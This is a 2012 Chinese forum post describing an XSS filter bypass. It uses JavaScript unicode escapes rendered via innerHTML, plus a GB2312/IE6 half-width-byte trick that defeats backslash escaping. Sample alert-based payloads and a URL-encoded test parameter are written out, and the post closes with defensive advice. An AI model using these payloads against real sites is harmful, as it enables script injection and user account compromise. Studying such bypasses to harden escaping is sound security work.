老银山 發表於 2012-10-19 16:34:36

一种新型的绕过XSS防御的方法介绍

大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:&lt;、&gt;、&rsquo;、&rdquo;,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。<br />首先看一个JS的例子:<br />&lt;script&gt;<br />&nbsp;&nbsp;&nbsp; var s = &quot;\u003c\u003e&quot;;<br />&nbsp;&nbsp;&nbsp; alert(s);<br />&lt;/script&gt;运行这段代码,结果显示如下:<br />看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过\u003c和\u003e来代替&lt;和&gt;。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:<br />&lt;div id='s'&gt;<br />test<br />&lt;/div&gt;<br />&lt;script&gt;<br />&nbsp;&nbsp;&nbsp; var s = &quot;\u003cimg src=1 onerror=alert(/xss/)\u003e&quot;;<br />&nbsp;&nbsp;&nbsp; document.getElementById('s').innerHTML = s;<br />&lt;/script&gt;运行上面代码,结果显示如下:<br />在没有尖括号的情况下,成功实现了一个弹框的案例。<br />现在来设想一个更贴近实际开发情况的例子:<br />(1)假设某站的首页:http://www.xxxx.com /main.html,其代码为:<br />&lt;div id=&quot;test&quot;&gt;<br />&nbsp;&nbsp; aa<br />&lt;/div&gt;<br />&lt;script&gt;<br />&nbsp;&nbsp; function callback(obj)<br />&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.getElementById(&quot;test&quot;).innerHTML = obj.name;<br />&nbsp;&nbsp; }<br />&lt;/script&gt;<br />&lt;script src=&quot; http://www.victim.com/getcontent&quot;&gt;&lt;/script&gt;(2)http://www.victim.com/getcontent返回的内容格式如下:<br />callback({&quot;name&quot;:&quot;xx&quot;}); 其中name的值是用户的昵称。&nbsp; <br />这个例子简单模拟了异步拉取信息并进行显示的情况。<br />现在假设用户的昵称为:<br />\u003cimg src=1 onerror=alert(/xss/)\u003e 那么会是什么情况呢?<br />首先getcontent返回的昵称应该是这样的:<br />\\u003cimg src=1 onerror=alert(/xss/)\\u003e因为后台输出JSON格式数据时,一般都会在\前面添加转义符进行转义。<br />接着main.html的callback函数应该是等价于执行下面的语句:<br />document.getElementById(&quot;test&quot;).innerHTML =&quot; \\u003cimg src=1 onerror=alert(/xss/)\\u003e&quot;;显示的结果如下:&nbsp; <br />很遗憾,没有弹出框。原因是原来的转义序列\u003c并没有生效,被添加的转义符转义掉了。<br />不过这里假设返回昵称时对\进行了转义,但实际情况下,有时输出json格式数据时是没有对\进行转义的,那样就会触发漏洞。<br />对于有对\进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:<br />对于gb2312编码,&quot; \ &quot;是一个合法的编码,显示为:&quot;繺&quot;。<br />对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。<br />其中表示一个十六进制的值。<br />现在修改昵称为:<br />\u003cimg src=1 onerror=alert(/xss/) \u003e,getcontent输出:<br />callback({&quot;name&quot;:&quot;\\u003cimg src=1 onerror=alert(/xss/) \\u003e&quot;});由于半字符的存在,在解释上述JS代码时,等价于:<br />callback({&quot;name&quot;:&quot;繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e&quot;});可见,转义序列\u003c终于又回来了,显示结果如下:<br />上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。<br />总结:<br />(1)利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。<br />(2)测试方法:截获请求包,修改参数为:<br />%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。<br />一切皆有可能,跨站无处不在,发挥偶们强大的智慧来挖掘吧
頁: [1]
查看完整版本: 一种新型的绕过XSS防御的方法介绍